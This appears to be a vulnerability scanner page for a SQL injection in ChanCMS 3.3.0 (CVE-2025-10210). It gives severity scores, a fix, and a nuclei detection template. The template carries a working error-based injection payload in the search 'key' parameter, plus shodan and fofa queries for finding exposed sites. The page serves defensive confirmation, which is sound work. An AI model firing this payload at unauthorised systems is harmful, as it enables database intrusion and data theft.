ChanCMS <= 3.3.0 - SQL Injection

mediumseverity

6.3CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

yanyutao0402 ChanCMS = 3.3.0 contains a SQL injection caused by manipulation of the \"key\" argument in app/modules/api/service/Api.js Search function, letting remote attackers execute arbitrary SQL commands, exploit requires crafted request.

Impact

Remote attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.

Fix

Update to the latest version.

How to confirm it

Send: GET {{BaseURL}}/api/v1/search?key=%27%20and%20extractvalue(1,concat(0x7e,%27{{rstr}}%27,0x7e))--%20a
Positive when: contains "{{rstr}}" and "XPATH syntax" AND status 200 or 500

Run it with nuclei: nuclei -id CVE-2025-10210 -u <target>

The full check

id: CVE-2025-10210

info:
  name: ChanCMS <= 3.3.0 - SQL Injection
  author: Yu_Bao
  severity: medium
  description: |
    yanyutao0402 ChanCMS = 3.3.0 contains a SQL injection caused by manipulation of the \"key\" argument in app/modules/api/service/Api.js Search function, letting remote attackers execute arbitrary SQL commands, exploit requires crafted request.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://gitee.com/yanyutao0402/ChanCMS
    - https://vuldb.com/?id.323483
    - https://github.com/August829/Yu/blob/main/58ead8e7e08bfb0e5.md
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10210
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-10210
    epss-score: 0.01381
    epss-percentile: 0.72364
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"ChanCMS"
    fofa-query: body="ChanCMS"
  tags: cve,cve2025,chancms,sqli,vuln

variables:
  rstr: "{{md5(rand_base(6))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/search?key=%27%20and%20extractvalue(1,concat(0x7e,%27{{rstr}}%27,0x7e))--%20a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{rstr}}"
          - "XPATH syntax"
        condition: and

      - type: status
        status:
          - 200
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from